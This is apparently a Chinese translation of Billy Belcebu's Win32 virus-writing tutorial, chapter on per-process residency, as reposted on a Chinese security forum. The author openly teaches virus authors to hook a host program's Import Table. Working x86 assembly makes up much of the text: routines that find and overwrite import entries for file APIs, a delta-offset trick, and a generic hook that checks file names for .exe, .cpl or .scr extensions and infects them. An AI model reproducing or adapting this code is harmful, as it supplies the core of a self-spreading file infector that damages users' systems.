Billy Belceb 病毒編寫教程for Win32 ----Per-Process?residency

看雪資料發表於2004-05-28

【每一執行緒駐留(Per-Process residency)】
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    
    一個用來討論的非常有意思的話題:Per-Process residency,對所有的Win32平臺都適用的一種方法。我已經把這一章從Ring-3那一章分離開來是因為我想它是一中進化,對於初學Ring-3來說也是稍微複雜了些。

%介紹%
~~~~~~
    per-process residence首先由29A的Jacky Qwerty在1997年編寫的。此外(對媒體來說,不是真正的-Win32.Jacky)它是第一個Win32病毒,它還是第一個Win32駐留病毒,使用從沒見過的技術:per-process residence。那麼你想知道"什麼是per-process residence呢?"。我已經在DDT#1的一篇文章中解釋了那個了,但是這裡我將對這個方法作一個更深的分析。首先,你必須知道什麼是Win32,和它的PE可執行檔案是怎麼工作的。當你呼叫一個API的時候,你將要呼叫一個由系統在執行期把Import Table(輸入表)儲存到記憶體的地址,這個輸入表指向API在DLL中的入口點。為了作一個per-process駐留,你將要不得不對輸入表做些手腳,並修改你想要鉤住並指向你自己的程式碼的API地址值,這個程式碼能夠處理指定的API,也就是說由API來處理感染檔案。我知道這有一點點雜亂,但是正如在病毒程式碼編寫的每一件事情中,開始總是看起來很難的,但是後面就非常簡單了:)

 --[DDT#1.2_4]---------------------------------------------------------------

   恩,這個可能是我知道的編寫Win32駐留病毒的唯一的已知途徑。是的,你已經看到的是Win32而不是Win9X。這是因為這個方法還能夠執行在WinNT下面。首先,你必須知道什麼是一個程式。這個東西更使我奇怪的是那些開始在Windows下程式設計的人知道這個方法之後,並知道這個是個什麼樣的方法,但是他們通常不知道這個名字。好了,當我們執行一個Windows應用程式的時候,那就是一個程式:)非常容易理解。而這個駐留方式做了什麼呢?首先我們必須開闢一塊記憶體,為了把病毒主體放在那裡,但是這個記憶體是從我們正在執行的自己的程式開始的。所以,我們開闢一些系統給這個程式的記憶體。它將由使用API函式"VirtualAlloc"來完成。但是...怎樣來鉤住API呢?現在據我所知最常用的方法是改變API在輸入表(import table)中的地址。這是我的觀點,唯一可行的方法。因為輸入表可以被寫,這就更簡單了,而且我們不需要任何VxDCALL0的函式的幫助...

   但是,這種型別的駐留病毒的弱點也在這裡了...正如我們在輸入表裡所看到的,感染率嚴重依賴於我們要感染的檔案。例如,如果我們感染WinNT的CMD.EXE,並且我有一個FindFirstFile(A/W)和FindNextFile(A/W)的感染例程,使用那些API的的所有檔案都被感染。這就使得我們的病毒非常具有感染性,主要是因為當我們在WinNT下使用一個DIR命令的時候將會頻繁使用。總之,如果我們不使用其它的方法來使它更具感染性的話,Per-Process方法將是非常脆弱的,如在Win32.Cabanas中,一個執行部分中。我們使得執行期部分每次感染\WINDOWS和\WINDOWS\SYSTEM目錄下的一些檔案。另外一個好的選擇是,正如我在用CMD為例的例子裡所說的,直接碰那些在第一次感染一個系統裡的非常特別的檔案...

 --[DDT#1.2_4]---------------------------------------------------------------

   我已經在1998年的12月份把它寫出來了,雖然我發現它可以不透過開闢記憶體來實現,但是,我還是改了它使之更容易理解。

%輸入表處理%
~~~~~~~~~~~~
   下面使輸入表的結構。

 IMAGE_IMPORT_DESCRIPTOR
 ^^^^^^^^^^^^^^^^^^^^^^^
 -----------------------------------<----+00000000h
|         Characteristics           |      Size : 1 DWORD
 -----------------------------------<----+00000004h
|         Time Date Stamp           |      Size : 1 DWORD
 -----------------------------------<----+00000008h
|         Forwarder Chain           |      Size : 1 DWORD
 -----------------------------------<----+0000000Ch
|         Pointer to Name           |      Size : 1 DWORD
 -----------------------------------<----+00000010h
|           First Thunk             |      Size : 1 DWORD
 -----------------------------------

    現在讓我們看看Matt Pietrek是怎麼描述它的。

 DWORD   Characteristics

    曾經,這個被看成一些標誌。然而,微軟改變了它的意思並不厭其煩地更新WINNT.H。這個域世界上是指向一個指標陣列的偏移(一個RVA)。這些指標每個都指向一個IMAGE_IMPORT_BY_NAME結構。

 DWORD   TimeDateStamp

    time/date 標誌表明檔案是什麼時候建立的。

 DWORD   ForwarderChain

    這個域和向前呼叫有關。向前呼叫包括在一個DLL中把它的一個函式傳送引用到另外一個DLL。例如,在Windows NT中,NTDLL.DLL看起來有一些函式向前呼叫KERNEL32.DLL中的一些函式。一個應用程式可能會認為它在呼叫NTDLL.DLL中的一個函式,但是世界上最終呼叫KERNEL32.DLL中的函式。這個域包含了一個對FirstThunk陣列(即將要描述)的索引。這個由這個域索引的函式將要向前呼叫到另外一個DLL中。不幸的是,這種函式是怎麼向前呼叫的格式沒有文件資料,而且向前呼叫的函式的例子很難找。

 DWORD   Name

    這是一個以NULL結尾的包含輸入的DLL的名字ASCII字串的RVA。一般的例子是"KERNEL32.DLL" 和 "USER32.DLL"。

 PIMAGE_THUNK_DATA FirstThunk

    這個域是一個指向IMAGE_THUNK_DATA單元的偏移地址(一個RVA)。在幾乎每種情況下,這個單元被理解成一個IMAGE_IMPORT_BY_NAME結構的指標。如果這個域不是這些指標的其中一個,那麼它可能被認為是被輸入的DLL的序數。資料中關於你是否真的可以透過序數而不是透過名字來輸入一個函式並不很確切。一個IMAGE_IMPORT_DESCRIPTOR的重要的部分是輸入的DLL名字和兩個IMAGE_IMPORT_BY_NAME陣列。在EXE檔案中,這兩個陣列(指向Characteristics  和 FirstThunk域)是平行的,而且在每個陣列的結尾是空指標。兩個陣列裡的指標都指向一個IMAGE_IMPORT_BY_NAME結構。

    現在正如你所知道的Matt Pietrek(G0D)的定義,我將在這裡列出從輸入表裡獲取API地址和到API(我們將要改變的,後面關於這個更多)的偏移地址的程式碼。

;--------從這裡開始剪下-------------------------------------------------------
;
; GetAPI_IT 函式
; ==============
; 下面的程式碼能夠從輸入表(Import Table)中獲取一些資訊
;
 GetAPI_IT      proc

 ;-----------------------------------------------------------------------------
 ; Ok, 讓我們搖搖頭。這個函式需要的引數和返回如下:
 ; 
 ; 輸入 : EDI : 指向API名字的指標 (區分大小寫)
 ; 輸出 : EAX : API地址
 ;        EBX : API地址在輸入表(import table)中地址
 ;-----------------------------------------------------------------------------

        mov     dword ptr [ebp+TempGA_IT1],edi  ; Save ptr to name
        mov     ebx,edi                         
        xor     al,al                           ; Search for "\0"
        scasb
        jnz     $-1
        sub     edi,ebx                         ; Obtain size of name
        mov     dword ptr [ebp+TempGA_IT2],edi  ; Save size of name

 ;-----------------------------------------------------------------------------
 ;我們首先儲存指向API的指標到一個臨時變數中,然後我們搜尋那個字串的結尾,由
 ;0標記的,然後我們把EDI的新值(指向0)它的舊值,這樣就得到了API名字的大小。很
 ;迷人,不是嗎?在這之後,我們把API名字的大小儲存到另外一個臨時變數中。
 ;-----------------------------------------------------------------------------

        xor     eax,eax                         ; Make zero EAX
        mov     esi,dword ptr [ebp+imagebase]   ; Load process imagebase
        add     esi,3Ch                         ; Pointer to offset 3Ch
        lodsw                                   ; Get process PE header
        add     eax,dword ptr [ebp+imagebase]   ; address (normalized!)
        xchg    esi,eax
        lodsd

        cmp     eax,"EP"                        ; Is it really a PE?
        jnz     nopes                           ; Shit!

        add     esi,7Ch
        lodsd                                   ; Get address
        push    eax
        lodsd                                   ; EAX = Size
        pop     esi
        add     esi,dword ptr [ebp+imagebase]

 ;-----------------------------------------------------------------------------
 ;我們要做的第一件事是清空EAX,因為我們不要它的MSW。然後,我們要做的是在我們
 ;主體的頭部檢查PE簽名。如果所有的事情都做好了,我們得到一個指向Import Table 
 ;section (.idata)的指標。
 ;-----------------------------------------------------------------------------

 SearchK32:
        push    esi
        mov     esi,[esi+0Ch]                   ; ESI = Pointer to name
        add     esi,dword ptr [ebp+imagebase]   ; Normalize
        lea     edi,[ebp+K32_DLL]               ; Ptr to "KERNEL32.dll",0
        mov     ecx,K32_Size                    ; ECX = Size of above string
        cld                                     ; Clear Direction Flag
        push    ecx                             ; Save size for later
        rep     cmpsb                           ; Compare bytes
        pop     ecx                             ; Restore size
        pop     esi                             ; Restore ptr to import
        jz      gotcha                          ; If matched, jump
        add     esi,14h                         ; Get another field
        jmp     SearchK32                       ; Loop again

 ;-----------------------------------------------------------------------------
 ;首先我們再次把ESI壓棧,我們將需要它被儲存,因為正如你所知道的,它是.idata節
 ;的開始。然後,我們在ESI中得到的是名字的ASCII字串(指標)的RVA,然後,我們把
 ;它用基址把那個值標準化,
 ;-----------------------------------------------------------------------------

 gotcha:
        cmp     byte ptr [esi],00h              ; Is OriginalFirstThunk 0?
        jz      nopes                           ; Fuck off if it is.
        mov     edx,[esi+10h]                   ; Get FirstThunk :)
        add     edx,dword ptr [ebp+imagebase]   ; Normalize!
        lodsd
        or      eax,eax                         ; Is it 0? 
        jz      nopes                           ; Shit...

        xchg    edx,eax                         ; Get pointer to it!
        add     edx,[ebp+imagebase]
        xor     ebx,ebx

 ;-----------------------------------------------------------------------------
 ; 首先,我們檢查OriginalFirstThunk域是否為NULL,如果它是,我們以一個錯誤退出。
 ; 然後,我們得到FirstThunk值,並透過加上基址(imagebase)來標準化它,並檢查它
 ; 是否是0(如果它是,我們就有一個問題了,因此我們退出)。之後,我們把那個地址
 ; (FirshtThunk)放到EDX中,並標準化,在EAX中我們儲存的是指向FirstThunk域的
 ; 指標。
 ;-----------------------------------------------------------------------------

 loopy:
        cmp     dword ptr [edx],00h             ; Last RVA? Duh...
        jz      nopes
        cmp     byte ptr [edx+03h],80h          ; Ordinal? Duh...
        jz      reloop
        
        mov     edi,dword ptr [ebp+TempGA_IT1]  ; Get pointer to API name
        mov     ecx,dword ptr [ebp+TempGA_IT2]  ; Get API name size
        mov     esi,[edx]                       ; We retrieve the current
        add     esi,dword ptr [ebp+imagebase]   ; pointed imported api string
        inc     esi
        inc     esi
        push    ecx                             ; Save its size
        rep     cmpsb                           ; Compare both stringz
        pop     ecx                             ; Restore it
        jz      wegotit
 reloop:
        inc     ebx                             ; Increase counter
        add     edx,4                           ; Get another ptr to another
        loop    loopy                           ; imported API and loop

 ;----------------------------------------------------------------------------- 
 ; 首先,我們檢查是否在陣列(以null字元標記)的最後,如果是,我們離開。然後,我們
 ; 檢查它是是否是一個序數,如果是,我們得到另外一個。接下來是有趣的東東:我們把
 ; 我們以前儲存的指向要搜尋的API名字的指標儲存到EDI中,在ECX中是那個字串的長
 ; 度,並把指向輸入表中的當前的API的指標儲存到ESI中。我們對這兩個字串進行比較
 ; 如果它們不相等,我們重新得到另外一個,直到我們找到了它或者我們到達輸入表的
 ; 最後一個API。
 ;-----------------------------------------------------------------------------

 wegotit:
        shl     ebx,2                           ; Multiply per 4 (dword size)
        add     ebx,eax                         ; Add to FirstThunk value
        mov     eax,[ebx]                       ; EAX = API address ;)
        test    al,0                            ; This is for avoid a jump,
        org     $-1                             ; thus optimizing a little :)
 nopes:
        stc                                     ; Error!
        ret

 ;-----------------------------------------------------------------------------
 ; 非常簡單:因為我們在EBX中的是計數,而且陣列是一個DWORD陣列,我們把它乘以4
 ; (為了得到和標誌API地址的FirstThunk相關的偏移),然後我們在EBX中的是指向想要得到
 ; 的API在輸入表中的地址的指標。非常完美:)
 ;-----------------------------------------------------------------------------

 GetAPI_IT      endp

;-------到這裡為止剪下---------------------------------------------------------

    OK,現在我們知道怎麼樣來玩輸入表。但是我們需要更多的東西!

%執行期獲取基址(imagebase)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
    一個最普遍的錯誤是認為imagebase總是一個常量,或者它將總是為400000h。但是這和事實相去甚遠。無論你在檔案頭裡得到的是什麼
imagebase,它可以被系統在執行期很容易地改變,所以我們將要訪問一個不正確地地址,而且我們將會得到無法預料地回應。而獲取它地方法是非常簡單地。簡單地使用通常的delta-offset例程。

 virus_start:
        call    tier                            ; Push in ESP return address
 tier:  pop     ebp                             ; Get that ret address
        sub     ebp,offset realcode             ; And sub initial offset

    OK?舉個例子,讓我們想象一下執行從401000h開始(幾乎所有的由TLINK連結的檔案)。所以,當我們使用了POP,我們將在EBP中得到諸如
00401005的結果。所以把它減去tier-virus_start,並減去當前的EIP(也就是說在所有的TLINK連線的檔案中為1000h)?是的你得到了imagebase!所以將會如下:

 virus_start:
        call    tier                            ; Push in ESP return address
 tier:  pop     ebp                             ; Get that ret address
        mov     eax,ebp
        sub     ebp,offset realcode             ; And sub initial offset
        sub     eax,00001000h                   ; Sub current EIP (should be
 NewEIP equ     $-4                             ; patched at infection time)
        sub     eax,(tier-virus_start)          ; Sub some shit :)

    不要忘記在感染期修復NewEIP變數(如果你修改了EIP),所以它總是和PE檔案頭偏移28h處的值相等,也就是程式的EIP的RVA:)

 [ 我的API鉤子 ]

    下面是我的GetAPI_IT例程的普查。這個基於如下的一個結構:

        db      ASCIIz_API_Name
        dd      offset (API_Handler)

     例如:

        db      "CreateFileA",0
        dd      offset HookCreateFileA

     而HookCreateFileA是一個處理鉤住了的函式的例程。我使用這個結構的程式碼如下:

;---------從這裡開始剪下-------------------------------------------------------------

 HookAllAPIs:
  lea     edi,[ebp+@@Hookz]               ; Ptr to the first API
 nxtapi:
        push    edi                             ; Save the pointer
  call    GetAPI_IT                       ; Get it from Import Table
        pop     edi                             ; Restore the pointer
  jc      Next_IT_Struc_                  ; Fail? Damn...
                                                ; EAX = API Address
                                                ; EBX = Pointer to API Address
                                                ; in the import table

  xor     al,al                           ; Reach the end of API string
  scasb
  jnz     $-1

        mov     eax,[edi]                       ; Get handler offset
        add     eax,ebp                         ; Adjust with delta offset
        mov     [ebx],eax                       ; And put it in the import!
 Next_IT_Struc:
        add     edi,4                           ; Get next structure item :)
  cmp     byte ptr [edi],""              ; Reach the last api? Grrr...
        jz      AllHooked                       ; We hooked all, pal
        jmp     nxtapi                          ; Loop again
 AllHooked:
  ret

 Next_IT_Struc_:
        xor     al,al                           ; Get the end of string
  scasb
  jnz     $-1
        jmp     Next_IT_Struc                   ; And come back :)

 @@Hookz label   byte
        db      "MoveFileA",0                   ; Some example hooks
        dd      (offset HookMoveFileA)

        db      "CopyFileA",0
        dd      (offset HookCopyFileA)

        db      "DeleteFileA",0
        dd      (offset HookDeleteFileA)

        db      "CreateFileA",0
        dd      (offset HookCreateFileA)

        db      ""                             ; End of array :)

;---------到這裡為止剪下-------------------------------------------------------------

    我希望它是高度清楚:)

 %一般的鉤子%
~~~~~~~~~~~~~

    如果你發現了,有一些API,它的引數中,最後壓棧的引數是一個指向一個存檔(可以為一個可執行檔案)的指標,所以我們可以hook它們並應用一個普通的處理首先來檢測它的的副檔名,所以如果它是一個可執行檔案,我們可以沒有問題地感染它了:)

;---------從這裡開始剪下-------------------------------------------------------------

 ; Some variated hooks :)

 HookMoveFileA:
        call    DoHookStuff                     ; Handle this call
        jmp     [eax+_MoveFileA]                ; Pass control 2 original API

 HookCopyFileA:
        call    DoHookStuff                     ; Handle this call
        jmp     [eax+_CopyFileA]                ; Pass control 2 original API

 HookDeleteFileA:
        call    DoHookStuff                     ; Handle this call
        jmp     [eax+_DeleteFileA]              ; Pass control 2 original API

 HookCreateFileA:
        call    DoHookStuff                     ; Handle this call
        jmp     [eax+_CreateFileA]              ; Pass control 2 original API

 ; The generic hooker!!

 DoHookStuff:
        pushad                                  ; Push all registers
        pushfd                                  ; Push all flags
        call    GetDeltaOffset                  ; Get delta offset in EBP
  mov     edx,[esp+2Ch]                   ; Get filename to infect
        mov     esi,edx                         ; ESI = EDX = file to check
 reach_dot:
        lodsb                                   ; Get character
  or      al,al                           ; Find NULL? Shit...
        jz      ErrorDoHookStuff                ; Go away then
  cmp     al,"."                          ; Dot found? Interesting...
        jnz     reach_dot                       ; If not, loop again
        dec     esi                             ; Fix it
  lodsd                                   ; Put extension in EAX
        or      eax,20202020h                   ; Make string lowercase
  cmp     eax,"exe."                      ; Is it an EXE? Infect!!!
        jz      InfectWithHookStuff
        cmp     eax,"lpc."                      ; Is it a CPL? Infect!!!
        jz      InfectWithHookStuff
        cmp     eax,"rcs."                      ; Is is a SCR? Infect!!!
        jnz     ErrorDoHookStuff
 InfectWithHookStuff:
        xchg    edi,edx                         ; EDI = Filename to infect
        call    InfectEDI                       ; Infect file!! ;)
 ErrorDoHookStuff:
  popfd                                   ; Preserve all as if nothing
  popad                                   ; happened :)
  push    ebp
  call    GetDeltaOffset                  ; Get delta offset 
        xchg    eax,ebp                         ; Put delta offset in EAX
  pop     ebp
  ret

;---------到這裡為止剪下-------------------------------------------------------------

    一些可以用這個一般的例程來hook的API如下:
 MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA
 CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA
 CopyFileExA, OpenFile。

%最後的話%
~~~~~~~~~~
    如果還有什麼不清楚的地方,發email給我。我將盡可能地用一個簡單的per-process駐留的病毒來闡述它,但是我編寫的唯一一個per-process病毒太複雜了,而且比這有更多的特色,所以對你來說還是看不明白:)

相關文章